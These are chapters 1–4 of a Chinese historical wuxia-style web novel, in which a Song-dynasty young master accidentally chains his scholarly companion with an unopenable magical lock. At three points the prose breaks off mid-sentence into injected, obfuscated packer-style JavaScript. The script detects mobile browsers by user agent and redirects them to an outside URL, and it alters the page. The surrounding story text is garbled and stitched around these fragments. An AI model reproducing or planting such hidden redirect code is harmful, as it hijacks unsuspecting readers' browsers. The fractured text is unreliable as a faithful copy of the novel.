《秋归风烟录》 1. 金玉满堂陆家巷,众说纷纭少年郎(上) 南宋宝佑四年,烟柳弄晴,琼花盛开,正是扬州三月天。 在城东南处,有一深宅大院曰“陆园”,纵横六条街巷。扬州人常叹其庄严气派,却不知高墙之内秀若天成,堪比艮岳。既有楼台林壑,又有湖池荡漾,水畔以湖石假山作四季景,廊外以松竹桂柳衬九州花。 日映之时,春风卷来一个骇人的消息,搅乱了城中的安宁。 “听说了吗?陆园那个小少爷,投海啦!” 陆园大门紧闭,听不到里面一丝声响。园内炊烟照常升起,却始终不见有下人进出。 这可馋坏了市井闲民们,不出多时,风言风语就传遍了扬州城。 曾几何时,这大门前达官显贵的车马络绎不绝,而现下,却接连不断地涌现着市井“过路人”。 “真的假的?就是吏部尚书陆仲玉的独子?唉,陆尚书刚被革职查办,怎料儿子又出事了!” “那小少爷可是灭金名将孟珙的外孙,叫什么来着……” “那是我在观琼书院的同窗,叫陆秋帆,表字仕渊。” 一好事书生凑上前来,“三年前,他被临安国子监除名,这才来了扬州。据说尚书公派人带他跑遍了各大书院,结果这家伙一个都不肯去,还折了豫章书院提举官的朱笔!” “你这么说我就有印象了。他刚来扬州时,我还去过他的冠礼!其间,这陆公子取了醮酒一饮而尽,摔碎酒盏还不忘赞一句‘好酒’……朱子冠礼冗长乏味是不错,但给他加冠的,可是两淮镇守李庭芝!” “这纨绔平日胡闹归胡闹,但不至于投海啊!应当另有隐情吧……” “不一定!”那书生接道,“你们有所不知,他身边有个伴读名叫陆君实,曾是镇江府赫赫有名的神童,也是他远房亲戚。虽然岁数比他小,但论辈分,陆仕渊还得叫他一声‘堂叔’呐!前不久秋试张榜,这二人双双中举,可榜首解元却是他那伴读!堂堂少爷被伴读煞了风头,多没面子?换做是我,也恨不得投海自尽!” “可即便真想不开,绑块石头去东关渡口跳运河便是,何必千里迢迢跑到明州港,租艘商船去跳海?” 书生哑口无言,仔细一想,此事确实有蹊跷。 门口人群愈发拥挤,众说纷纭之中,大家都心照不宣地退避三分,既无人高声喧哗,更无人上门打探。 此时,陆家巷尽头走来两个人。一位高鼻深目,头缠白帛,牵着只骆驼,似是西域行商,另一位是个背负七尺斩|马刀的疤面侠客。 行至陆园牌匾下,前者单手置于胸前深鞠一躬,在门口放了束鲜花后低诵起经文。后者则近前几步,取出一坛烈酒猛灌几口,将余酒尽数倾洒于石阶前,默不作声地离去。 没过多久,又来了十几位风尘仆仆的全真道士。 为首者三人点起一盏爝光,置于墙外。爝光亦是灯烛,其火光虽小,然其功无穷。 道士们齐齐行礼,默念心咒,双手托莲花诀祝祷幽魂升天。一炷香后,他们在静默中调头归返。 短短一个下午,陆园门前又来了几波吊唁者。 先是扬州城顶尖的铁匠们,再是金盆洗手的“两河盗圣”及其弟子,甚至还有戏班子和高丽人,最后连官府在案的“海沙帮”都来了。 这伙亡命之徒在陆家巷一字排开后,几十个人“嗵”地一声跪倒,连磕三个响头。若不是个个都披麻戴孝,否则旁人会以为这陆园有人造反称帝了! 这番景象,着实让好事者们摸不着头脑。 众所周知,陆氏于宣和年间成立沧望堂,从事运河生意、管调漕工。建炎年间高宗南渡,行至扬州时,陆氏先祖携千名漕工抵抗金军,因护驾有功,被赏了章服玉带,一跃成为扬州名门望族。 现如今,这陆家人除了掌柜纲首,便是庙堂官吏,怎地前来吊唁的全是些江湖人士? 远处日暮霞浓,头顶夜色已至。围观者们逐渐散去,陆家巷再度陷入清寂。 就在某处不起眼的角落,一个月白色的倩影掠入墙头。 女子鹤骨松姿,轻如燕鸥,着瓦不响,落地无声。罗衣帽纱在夜空中曼舞,似深海石镜,仙灵中透着几分鬼魅。 几个飞身后,她落至后院一间堂屋顶上。此番潜入,她既没打听虚实,亦未觊觎钱财,只是静静地坐在屋脊上,俯瞰着陆园星罗棋布的屋舍。 这堂屋位于一座小山坡上。两侧杏花开得正盛,一条石径蜿蜒而下通向主道,道旁立着石鳌驮碑,上书“杏苑及第”。 良久,一位步履匆匆的襕衫书生走上山坡,还未踏入堂屋,便听有人在唤他:“君实。” 书生正是扬州解元陆君实,亦是旁人口中煞了少爷风头的伴读。 他抬头一望,见是那女子,赶忙寻了架梯子搭在屋后,颤颤巍巍地爬上屋顶。 君实文质彬彬,气韵出尘,并没有才子那番俊采飞扬的神姿。他凤目低垂,道了句:“燕娘,好久不见。” 这语气带着些许责备,二人坐在屋脊上缄默许久,君实终于再度开口。 “仕渊真的……投海了?” 燕娘望着夜空中那灿灿星河,喃喃道:“月落参横,无远弗届,天总是会亮的,我也总会找到他。不管是在异国番邦,还是在冰冷海底,哪怕五年、十年……” 比起回应对方,她更像是在说给自己听。至少在君实听来,投海一事是毫无悬念了。 “所以,他究竟为何投海?”君实追问道。 “为了船上那数十条人命,又或许是为了这个家族、为了他父亲。” 面对陆园数不尽的灯火,燕娘指了指自己脚下,“一年前,他在这屋顶上升起一只纸鸢,我应承诺前来赴约。他带我俯瞰陆园,说这大部分屋檐下都住着人,有的他敬之爱之,有的他都叫不上名来,但无一例外,都是他的家人。家人对他有多大的宠爱,便有多大的期望——” “燕娘,”君实打断了她,“不必多说,我其实能猜到。” 他长叹一口气,转而面对女子,“他是为了你。” ------------------------------------ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703227|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' - 东去数千里,茫茫大洋横无涯际,既无蛟龙虬生,亦无海鸟啁啾。 原本空无一物的海面上,冷不丁地漂来一口棺材。 它紫衫木制,方正规矩得像个大匣子,被六颗棺钉封得严严实实,正随着波涛上下起伏。 青天空旷,碧海寂寥,但听“呯”地一声闷响,棺材上冒起一缕黑烟,棺盖上破了个瓶口大的小洞。 一柄匕首尖刃自棺板缝隙刺出,上下挪动间,一颗棺钉被撬开,紧接着第二颗、第三颗……一连五颗棺钉破棺而出,棺盖被挪开几尺。 “死者”猛然坐起身来,理了理散乱的青丝,下一刻便扒着棺板,“呕”地朝海里吐了个七荤八素。 这是位年轻公子,虽琼姿俊逸,却满身脏污腥湿,纵然生得金质玉相,也难掩狼狈颓靡。他擦净嘴角,从棺中摸出一坛酒漱了漱口,随后背靠棺板小酌起来。 棺中没有陪葬品,只有一把宝石匕首,以及一杆奇异的短兵器。 这短兵器形似一杆长枪,同小臂一般长,枪头由六支铸在一起的紫金小炮筒包裹,每支炮筒尾端坠有引线。可想而知,方才炸穿棺盖的,正是此物。 公子饿得饥肠辘辘,百无聊赖间,一双惺忪迷离的黑眸观起了云彩。 云朵越积越多,云色越来越暗。 不出半个时辰,远处天际一片昏灰,乌云翻滚而来,夹杂着雷鸣电闪。 势头不妙,公子求生心切,将匕首和短兵器当做“船桨”,拼了命地往反方向划。没划几下,一个大浪打过来,浇了他个透心凉。 一波未平一波又起,海浪如千军万马袭来,他被撞得左支右绌,索性扔下“船桨”,躺平了。 四周汪洋一片,难道扑腾两下就能上岸么?手头没有食物清水,怕是还没漂上岸就已然饿死。 他被自己的鲁莽气笑了,笑得天真又悲怆。 人生在世多歧路,他却一腔孤勇地闯进条死路,自是没有生还的希望。 手中转着宝石匕首,他打起了腹稿,打算给自己留个彪炳千秋的墓志铭。苦思冥想了一阵,却只在棺盖上刻下“陆仕渊之墓”几个字,最后将自己封回了棺中。 暴风雨将至,他一手置于胸前,一手用酒坛堵住破洞,在一片漆黑与雷鸣中,等待着尸骨无存的结局。 阖目之后,往事历历在目。 二十三年前,他生于临安,因父母曾同帆共渡于秋日运河上,故得名“秋帆”。 他自小锦衣玉食,也曾乖巧好学,被所有长辈称赞“将来有平步青云之能”。 可究竟从什么时候开始,他逐渐沦落到这般境地的? 是十三岁时外公薨逝,他折了心爱的犀角弓开始?是母亲病故后,他逃课去酒楼宿醉,被父亲皮鞭家法那日? 似乎不是。 还是二十岁冠礼时,李大人宣告“礼仪既备,昭告尔字,永受保之,曰‘仕渊’也”的那一刻? 似乎也不是。 仔细想来,所有的一切,始于一年前一个稀松平常的日子。 2. 金玉满堂陆家巷,众说纷纭少年郎(下) 去年清明陆仲玉回府时,建议仕渊与君实去参加今年的秋试。若拿到解状,便赏银百两,顺便说媒提亲。若拿不到,就权当牛刀小试,三年后再战。 君实对秋闱跃跃欲试,可仕渊毫无斗志,既不想要“黄金屋”,也不想要“颜如玉”,一时搪塞了这事。 四月初二清早,二人照例结伴去书院。 观琼书院是私学,在蕃釐观西南侧占了个小院,东接三清殿银杏步道,北临弥罗宝阁。那日恰逢天祺节,南方七宿星君的下凡日。仕渊趴在书案上,闻着蕃釐观的香火,恹恹欲睡。 徐山长年过六十,说话沙哑沉缓,一边念着书文,一边走到后方扫了一眼,见仕渊正襟危坐,双目紧闭,鼾声如丝。 君实坐在仕渊身后,偷偷伸脚顶了下他后腰,没成想令他“咚”地一头栽向了书案,引得全学堂人侧目。 山长也惊得一觳觫,见仕渊好歹是醒了,喃喃道:“少年不知愁滋味……” 仕渊尚还在迷糊中,顺嘴一接:“老,老来提灯探春闺!” “原来做的是春梦啊!”同窗一阵哄笑。 这下他总算清醒了,自知有含沙射影之嫌,赶忙给山长赔了个礼。 徐山长气得脸色铁青,四处找着戒尺,到手后却又长叹一声放下,指着仕渊抖了好一阵:“实在有辱斯文!你,你给我举着戒尺站到后面去,好好清醒清醒!” “山长息怒。”君实起立道,“少爷失仪全因学生昨晚逼其读书至深夜。错在学生,忘了凡事有度,过犹不及。请让学生代为受罚!” 徐山长拍了拍君实肩膀,对仕渊道:“今日你不知勤勉,他日需为生民立命而奔波时,能指望得上你么?堂堂尚书家公子,却不如一个伴读知书达礼,我奈你何如?待到秋闱后,你好自为之吧!” 所谓伴读,其实就是个识字的男丫鬟。平时镇纸研墨,端茶倒水,甚至有的还负责暖床捂被,断袖分桃。 但陆君实这个伴读,连书袋都不替少爷背。少爷若是读书怠慢,他便引经据典地敲打,严重了还会闭门绝食,逼得少爷只能服软。 杏苑及第书架上的诨话集被换成了《勉斋集》,风月录被换成了《近思录》,酒盏关扑也被换成了各种精义说解。仕渊从不计较,只当自己多了个可以玩闹的教书先生。 虽未将君实视为家仆,但眼下被拿来与伴读作比较,他心里多少还是有些不悦。 “人家皇城根儿来的名门之后,戒尺可打不得!” 四周充斥着同窗的嗤鼻与讥笑,仿佛仕渊生来便欠了他们什么一般。平日里与他交好的几位,个个缩着头不敢替他言语几声。 又有人呛声道:“滚回你的临安城睡大觉去!” 本打算乖乖认罚的仕渊闻言,当即一拍桌子,忿忿道:“那秋闱也不缺我一人,谁爱去谁去!一群等着混公家饭的,装什么高风亮节!这破学堂还能出个改国运的宰相不成?” 说罢,他夺门而出,全然不管身后事。 ------------------------------------- 三清殿前香火氤氲,仕渊与背后朗朗书声渐行渐远。 湖池边,一阵风拂过,吹落无数花瓣在水中,引得一池锦鲤争相扑食。 池鱼个个大肚长须,突目垂腮。仕渊越看越觉得像极了那帮同窗,以及围着父亲的官吏——明明抬头便是青天白日,却非要窝在一方池中,抢破头就为了那点吃食! 不远处便是欧阳修任扬州知府时修筑的无双亭,坐落在太湖石堆砌的假山之上。太湖石瘦、皱、漏、透,一道石阶盘旋至亭内。 而此刻,那亭内有一抹月白色身影,在日光的照射下,显得有些不真实。 他正愁没人说个话,可呼哧呼哧爬上了假山,那人影早已不在。 道观风水宝地,大白天的难道闹鬼了不成? 他揉了揉眼睛,权当自己白日做梦。 在无双亭内俯瞰,才知墙外并无美景。目之所及尽是青砖巷、灰瓦房,毫无生气。唯有亭下那历经几百年沧桑的琼花树,虽瘿瘤丛生垂垂老矣,却拼了命地生出一树繁花。 仕渊却越看越气——气自己堂堂少爷却被伴读煞了风头,气这世道非教人吃书饮墨才能过活,气这山河无限风光,而自己只能同这棵琼花一般困于樊笼、无人问津。 “曾向无双亭下醉,自知不负广陵春。” 他喃喃着、憋屈着,不知不觉闲逛到了东关街。 街上人声鼎沸,车水马龙。常卖挑着担子四处吆喝,篮筐棉盖下是冒着热气的肉馒头。菜贩的摊子上堆着百般时令,白的是春笋、青的是梅子、紫的是椿芽。陆陈行新到的胡麻被搬进了隔壁油店,油工“砰、砰”地击打木楔,麻油浓香扑鼻,甚至盖过了对面广陵春的胭脂香粉。 这番活色生香,可把仕渊馋得够呛。 他盘算着下午去涌春楼听几首小曲儿、点几个小酒小菜。这样纵使晚上被家法,今日过得也不算太糟。 可惜荷包与书袋一齐落在了书院内。而他既无颜面回书院,更没胆量回陆园。 仕渊大伯为陆氏大当家,经营着半个东关街的茶粮布药,三叔乃沧望堂堂主,运河两岸皆是帮会兄弟。前者精打细算,拿捏着他的钱袋,后者以武服人,掌控着他的去向。 这偌大的陆园,唯一能纵着他的长辈,只剩四叔陆季堂了。 陆季堂乃庶出,又尚未婚娶,故而在府里说话没什么分量。好在他不图功名利禄,只一心钻研古董书画,开了一家古玩店曰“坤珑阁”,平日里接点木版画生意。 坤珑阁是个二层小楼,就在前方弥陀巷深处,仕渊想都没想便直奔而去。 此刻谭掌柜正摊着副山水画,给一位客人“讲门道”。后院里,四叔依旧雕着木板,走近一瞧,原来是话本《碾玉观音》里秀秀的鬼魂与崔宁相逢那一幕。 “换作是我,若是知道以后要同佳人去地府做鬼夫妻,宁愿不谈儿女私情,卖了那玉观音游山玩水去!”仕渊打趣道。 陆季堂拿刻刀柄捅了他一下,继续干活。 “哎呦好痛!”仕渊惺惺作态,“这下可好,你得借我几两银子去买金创药!” 见四叔不理睬,他倒也识趣:“你忙你的,我时间多,等得起。” 跟谭掌柜打声招呼后,他径直上了二楼。 若说坤珑阁一楼都是不痛不痒的小买卖,那这二楼就是“结善缘”的大生意。贵重如魏晋佛像、隋唐珠宝,精奇如吐蕃僧的人骨念珠、大理国的贝叶经文。 他早就将四叔的收藏看了个遍,然而今日算是来巧了。 二楼桌上摞着好几个匣子,旁边放着笔册。一般新来的物件要在外间录册后才能进里间收藏,而册子摊开的那一页空空如也,并未记录匣子中所藏何物。 仕渊好奇得紧,便验起了宝。 最大的匣子装着把曲背长刀,而最精美的匣子所藏之物,却让他匪夷所思——一条锈迹斑斑的大铁链子! 这铁索周身漆黑,似一条长蛇盘在匣内,看不出长短。链子约二指粗,同锁囚犯的链子没什么分别,细看之下有些环节还套错了,也不知是哪个醉鬼工匠拧的。 唯一有趣的是,这铁索两端各有一个刻着篆书的手柄。仕渊对金石雕刻无甚研究,不知所刻何字,只知其中一个柄中空,刻有波浪纹饰,另一个柄实心,刻着几朵桃花。 这时,楼下传来了谭掌柜的声音:“少爷在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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君实被怼得哑口无言,却又不想在此处争执坏了旁人生意。他瞥见匣子里的铁索,一咬牙道:“你三叔不敢绑你,我来!绑完我负荆请罪!” 他向匣子走去,不料被仕渊抢先一步拿到了那铁索。 愤然欲走时,又见仕渊一脸坏笑地抖了抖链子,吊着戏腔道:“只恐你来得,去不得!今日我就是绑,也要把你绑到涌春楼!” 唱罢,他果真扯开链子,扑到君实身上,二话不说便将那铁索往他身上绕。 这家伙竟来真的! 君实一惊,挣扎了两下见拗不过,索性杵在原地,任由仕渊五花大绑地将他捆起来。 仕渊也是一惊,没想到这链子竟好似越绕越长一般,将君实脖颈、手臂缠住,又在腰间捆了个三四圈还不算完。 末了,他双手各抓着铁索一头,才发现这把柄似乎能套起来。 为了验证一下自己的猜想,他鬼使神差地试了一下——果真吻合! “你玩儿够了没有?” 君实眼巴巴地看着他摆弄那把柄,耐着性子道:“玩儿够了给我松开。我们各退一步,我陪你去涌春楼吃饭,吃完饭你同我回书院认错。” 仕渊只惊讶地看了他一眼,而后又继续把玩那把柄。 “你总不能让我第一次去涌春楼,就跟个囚犯似的吧!”君实火道。 而这小少爷依旧猫着腰、低着头,在他腰间不停摆弄。 这姿势实在不怎么雅观,君实见来硬的不管用,又软下了声音:“别闹了,不然我反悔了啊!” 言毕,只见仕渊手握铁柄,汗津津地抬起头来—— “解,解不开了……” 3. 神荼郁垒再相逢,不锁妖魔锁书生(上) 君实还当他是在开玩笑,可看着他手握铁柄怎么也拽不开,当即有些心慌:“不、不会真的打不开了吧?” 仕渊卷起袖子,使了吃奶的劲儿去拔那手柄,额头青筋暴起,可铁柄却像是长在一起似的,纹丝不动。 “你别用蛮力啊!仔细看看,定是有什么窍门!”君实急道。 仕渊干脆跪坐在地,试着扯那链子,没几下便听君实制止道:“别扯了!这链子似乎又紧了一些!” “明明是你让我找窍门的!” “腾”地从地上站起来,仕渊发现这铁索果真卡在了君实的脖子上。他拿起装锁链的匣子仔细摸索,但里面除了一张绸帕以外,别无他物。 “你先别急,肯定有办法!” 四处张望间,他想到了那只最大的匣子,于是打开来,抽出长刀,面对君实。 君实一舞文弄墨的书生,哪里见过这阵势,登时吓得退后几步:“哎哎哎,使不得使不得!少爷三思啊!” “君实你不要怕,站好别动,我下手很轻的!” 方寸大的地方由不得君实躲闪,仕渊双手执刀,照着那双铁柄砍了下去。 “铮”地一声过后,君实睁眼,见那长刀豁了个小口,而铁索依旧紧紧地绕在自己身上。 “天呐,这玩意儿我可使不了!”仕渊双手虎口发红,不停地甩着,“得找三叔,让他拿那金丝九环大刀来砍断这链子!” “敬谢不敏。就怕这铁索没事,我成两瓣儿了。”君实哂道,“这铁索究竟何物?哪里来的?” 仕渊踢了踢那破匣子:“喏,这里来的。我还想问问楼下那二位爷呢,怎地什么都敢收!” 楼下谭掌柜还在“讲门道”。那客人正对楼梯,见有人手提长刀气势汹汹地下了楼,身旁还五花大绑地捆了个“犯人”,当即吓得跑没了影。 仕渊扶着君实径直走向后院,长刀往肩上一扛,便开始兴师问罪:“陆季堂!你最近都收了些什么鬼玩意儿!” “二楼的东西你可别乱碰……” 陆季堂小心翼翼地雕着版,许久才反应过来,这小崽子竟叫了自己的大号!猛然抬头见二人这阵势,他吓得手一抖,将画中人的头给削了下去。 “乖乖,这一幕我都刻三天了!一铺狼烟了戏,又得重头再来!” 气得扬州话都冒出来了,他索性将刻刀一扔,指着仕渊数落起来:“你逃课我都睁一只眼闭一只眼了,怎么这次还搭上了君实?你还将人家给……咦?这不是我的倭刀吗?咦!这不是我的‘神荼’嘛!我都没碰几下,你怎么直接上身了!老谭,你怎么看的铺子!” “祸是我闯的,怪谭掌柜作甚!”仕渊上前一步道,“我不过开个玩笑,谁知你这破锁头竟委屈了君实好久。” “锁头?什么锁?” 陆季堂满脸疑惑地走到君实身旁,拿起那铁柄端详了片刻,一拍大腿:“哎呀老谭,此物原来是把锁!” 老谭也上前来,在君实身上东摸摸,西拽拽,啧啧称奇:“少爷你有所不知啊,自从我们收到此物,一直没猜透它究竟作何用处,谁知今日歪打正着……” 仕渊蹙起眉头:“什么意思?” “意思就是,我们对这铁索的了解不比你们多,自然是打不开它。”陆季堂接道,“你何不用那把刀试试看?” 仕渊亮起手中长刀,指了指刀刃上的缺口。 “可惜啊可惜……”陆季堂哀叹,也不知指得是这把刀可惜,还是被缚的君实。 君实无心插科打诨,只关心铁索本身:“四爷方才说‘神荼’?可是神荼郁垒的‘神荼’?” “不错,正是家家户户门前贴的二门神之一,神荼。” 陆季堂抚须道,“传说沧海之中,有度朔之山,上面有棵大桃树,东北的树枝间有鬼门,乃万鬼所出之地。守门者有二神,一曰神荼 ,一曰郁垒,手持苇索,若有犯事之鬼便拿苇索捆了拿去喂虎。我见这铁索柄上刻着‘神荼郁垒’四字,才简称其‘神荼’的,但不知有何渊源。” “那此物究竟何处而来?”君实追问道。 事态有些严重,陆季堂权衡再三,终于坦言道:“事已至此,也不好瞒你们了。金国覆灭后的这些年,往北方的漕务也断了,沧望堂走了不少兄弟。其中有一拨胆大不要命的,为了生计去明州港出海走货。谁知后来遇着一帮高丽人,带着他们倒卖私盐、在海上四处淘沙,故而被称作‘海沙帮’。有时他们会将东西放到我这里寄卖,这铁索也是其中之一。” “居然还有这档子事儿?”仕渊惊诧不已,“难怪你二楼那么多稀奇古怪的玩意儿!此事大伯和三叔可曾知道?” “这商号是你大伯的,海沙帮又曾经是你三叔的人,你觉得呢?”陆季堂斜睨着仕渊,“怕什么,这种物件又不会摆出来吆喝。况且海沙帮的人在海上捞金,法外之地,碍不着咱们家!” “那海沙帮的人现在何处?可知此物何解?”君实又问。 “他们放下东西又出海了。临行前,只说此物是从‘鬼门关’带回,嘱咐我们尽量卖个好价钱。不过……”陆季堂顿了顿,“老谭,之前不是有人想买这链子吗?” 谭掌柜回道:“不错,确实有人来过,还来了两次,是个道士。海沙帮的人前脚刚走,那道士后脚就来了。” “那道士何名何号,长得什么模样?”仕渊问道。 “那老道士未报大名,穿身又脏又旧的褐黄道袍,背着好几个葫芦。长相嘛……双目外突,秃脑门上尽是麻子。一张大嘴,两根稀疏的髭须,南北口音混杂!” 谭掌柜回忆道,“他先后来了两次,第一次来是腊月中旬,旁的看都没看,一进来就点名要那铁索。我随便喊了个价,他银子不够,撒泼打滚了好一阵,见我去喊巡尉便溜了。谁知前些天他又来了,这次钱倒是够,但为这拴狗都嫌寒碜的链子来两次,看来是真稀罕!所以这次我就……就坐地起价了。” “奸商!甚么叫拴狗都嫌寒碜?这一拴就拴了镇江小神童,你可痛快了?” 仕渊翻了个白眼,将君实拉到一旁:“你先别急,这道士八成懂点门道,保不齐过几日还会再来。我们先试试其他法子!” 要解这锁链,必然得请能工巧匠。 他从柜台摸走了五两票子,嘟囔了句“这是那奸商欠我们的”后,与君实直奔风箱巷的一众铁铺。 风箱巷里尽是烘炉铁灰,空气污浊,炙热难挡。仕渊不想挨家挨户问,便站在巷子口悬赏五两银子。 铁匠们见五两银子只是解个链子,都凑了上来。可惜他们使出浑身解数,也拿这铁索没有办法,末了还将君实的衣服烧了个洞,最后只得请坐镇巷内的汤老出马。 汤老别名“汤千钧”,意即打过三万斤铁。此人黝黑的面皮烧得斑驳,摩挲着铁索研究了半天,方道这不是纯铁所制,而是掺杂了某种罕见金料。可惜他铸锁不在话下,开锁却无能为力。 仕渊也不轻易罢休,又找了间锁匠铺询问。 锁匠对着锁链捣鼓了好一阵,依旧毫无成效,便解释道这两个把柄套得太紧,普通的金钩根本进不去,进去了也活动不开。 他表示自己才疏学浅,爱莫能助,这等奇锁怕是得由“两河盗圣”这种级别人物出马,但老爷子并不是寻常人想见就能见的。 仕渊听锁匠这口气,似乎知道那盗圣身在何处,于是拿出了那五两银子,好求歹求让锁匠将带自己去见盗圣。锁匠磨不过他,又着实眼馋那银子,便带着二人过了通泗桥,往城西南方向去。 一路上,他们饶有兴致地聊起了盗圣的事迹。 盗圣名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703229|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曰时不讳,据传是“鼓上蚤”时迁的后人,四代单传的梁上君子,好劫富济贫。 天兴年间,蒙人围攻开封府时加入守城义军,可惜废了一只腿,只得金盆洗手。南迁后他广收弟子,因一生辗转汴河与淮河一带,故被称作“两河盗圣”。 三人敲了敲时不讳家门,在小院内恭候。 院中无旁人,只有一金毛犬作伴。石砖上青苔满布,围墙破损不堪——这摸了无数金银财宝的盗圣家,竟一贫如洗。 一炷香后,有个老头子出来应门,并邀众人席地而坐。待锁匠寒暄引荐几句后,二人才知眼前这平平无奇的小老头,正是传说中的“盗圣”时不讳。 时不讳手执蒲扇、足蹬麻鞋,身形比平常人要瘦小许多。走路一瘸一拐,长相毫无特色,甚至与人对面而坐时,目光都不会在他身上多流连半刻。 他似醒非醒地乜斜了君实两眼,拿起蒲扇点了点锁链:“邪门玩意,让这书生活受罪喽……” 盗圣开门见山,仕渊恭敬地行了个礼,解释了来意。 闻言,老头儿抬起屁股,从席子边缘抽出根草秆,对着那锁头戳戳点点了一番,摇头道:“可惜老东西我只会溜门撬锁,不懂这机关工巧啊……” 叹息间,时不讳一扔草杆,起身钻回了里屋。 三人以为盗圣这是要拿出祖传的金钩来再试一番,谁知等了许久,竟听一阵鼾声传来。 老人家这是闭门谢客了。 盗圣向来不爱与富贵官宦人家打交道,锁匠连忙道歉。仕渊回道:“不打紧,至少知道了这不是寻常的锁,而是机关术。” 君实此刻反而有些忧虑。 这机关术精妙,全靠设计之人的巧思推演,外人实在难解。扬州城虽大,却不见得有精于如此机关的高人,他怕是一时无法脱困了。 二人回府后,已是傍晚。 不出所料,仕渊连饭都没来得及吃,就被大伯罚跪于香堂列祖列宗牌位之前——顶撞山长一个时辰,逃学一个时辰,欺负君实又是一个时辰,数罪并罚。 君实则被三叔连夜带去沧望堂,试遍了各路兵器,依然无解。 府内上下忙得焦头烂额,仕渊跪到二更天也不见有人来,干脆卧倒在香堂里睡大觉。一闭眼就梦见君实满身铁索、步履蹒跚地拖着辆太平车,车上坐满了列祖列宗,不停地数落着自己。 清早,大伯又手书钧帖一封,让二人去城内军器所,请提点官想想办法。 这回不仅火钳铁水,连王水都招呼上了,这铁索依旧烧不透、熔不断,甚是邪门。 民间匠人试过了,江湖高人找过了,连官府军司都求过了,铁索依旧在君实身上缠得紧。二人回到府内,并肩坐在杏花铺满的石阶上,默默无言。 君实出神地望着坡前的石碑石鳌,心道离秋闱只剩四个月,他如今铺不了纸、握不了笔,又如何能“杏苑及第”? 仕渊也是垂头丧气。他长这么大,虽不至于能呼风唤雨,但想办的事儿想解决的难题,只需花个钱求个人,没有办不成的。怎知一次无心的嬉闹,竟让他束手无策。 他心中有愧于君实,但道歉已经于事无补了,只能故作潇洒道:“人生不如意,当浮一大白!君实,我给你拿点酒?” 这提议显然无法打动君实。他下巴搭在膝盖上,沉默得让仕渊愈发愧疚。 “我的好堂叔,侄儿知错了!你不是常说君子应有庙堂之量,当泰山崩于前而面不改色吗?我们出去消遣消遣,没准儿吃吃喝喝间下一步对策就——” “涌春楼的酒怎样?” 君实忽然抬头,双眸清澈宁静,让仕渊一怔:“啊?” “我先前答应过陪你去涌春楼。” 君实趔趄着站起来,铁索下的筋骨“咔拉”作响,“我请你。” 4. 神荼郁垒再相逢,不锁妖魔锁书生(下) 维扬右都,东南奥壤,古有佳酿琼花露,今有名酝云液酒,涌春楼便是典范。 此楼位于东关街最繁华的地段,前为茶社后为酒楼,横跨四个巷子,东西共五栋,其间有飞桥栏槛相通。珠帘秀额,华灯宝炬,终日不打烊。 一路上,君实的锁链引来不少目光。仕渊本想找个閤子坐下来,却被告知已客满,便在二楼找了个散桌,一入座就点了壶云液酒,剩下的全打发闲汉去张罗了。 “仙酒斟云液,仙歌绕梁虹。君实小老弟,能饮一杯无?” 仕渊斟满酒递到君实面前,这才想起来他双手被缚,便伺候着他喝了。 被强灌着,君实只得一饮而尽,辣得呛了几声,仕渊赶忙夹了个樱桃煎塞进他嘴里润润嗓。 两个大男人一来二去地投喂着,引得旁桌投来了异样的目光。 听见周围的窃窃私语,仕渊忽地怒拍桌板,高声喝道:“没想到你竟遭匪徒如此羞辱!兄弟,吃完这顿饭,带着这一身罪证,我们去衙门报案!” 好事者闻言,纷纷收起目光继续宴饮。 这匪徒不就是你么?君实哭笑不得,伸长脖子将盏中酒一饮而尽,道:“没想到我们第一次出来吃酒,竟还要少爷来喂我。” “此事皆因我起,我喂你些酒菜又有何委屈?只怕在找到解决之道前,还要多伺候你几回。”仕渊夹了几片脆琅玕投入君实口中,“我是一点都不忌讳,倒是你得习惯习惯。” “少爷无心之失,我不怪罪。只是这般模样,实在有辱斯文。” 仕渊闻言,招小二去寻了一根苇管过来,插进酒盏中,道:“现在你可以斯文地饮酒了。我本不想引人注目的,谁知他们今日生意这么好!扬州再过一阵就是梅雨天了,怎地还这么多人……” 涌春楼的东楼是宴饮之地,西楼是烟花之地,皆是花钱如流水的地方。华灯未上,竟被告知客满,怕是城中有大事发生。 几名小二抬来了酒菜,那闲汉一碟一碟地呈了上来:玉笋马蹄狮子头两例、糟淮白鱼一条、大官羊五斤、山家三脆一碟、雪霞羹一盆,并金裹银炒饭、酥黄独一份。 仕渊向来不喜膻味,鱼肉君实吃起来又不方便。早料到闲汉会超量地张罗酒菜,他多给了些赏钱,让闲汉将大官羊与糟淮白鱼同两壶云液酒,分别送到风箱巷汤千钧师傅处、以及城西南仓巷的时不讳处,称陆园敬谢二位相助。 待闲汉走后,仕渊叹道:“这锁链太过邪门,现下只能寄希望于谭掌柜所说的道士。” “昨晚三爷试过一众兵器后,派沧望堂手下到各个道观打听去了,很快便能有消息。”君实道,“少爷不必太过忧心,切莫因君实之事而耽误学业。” 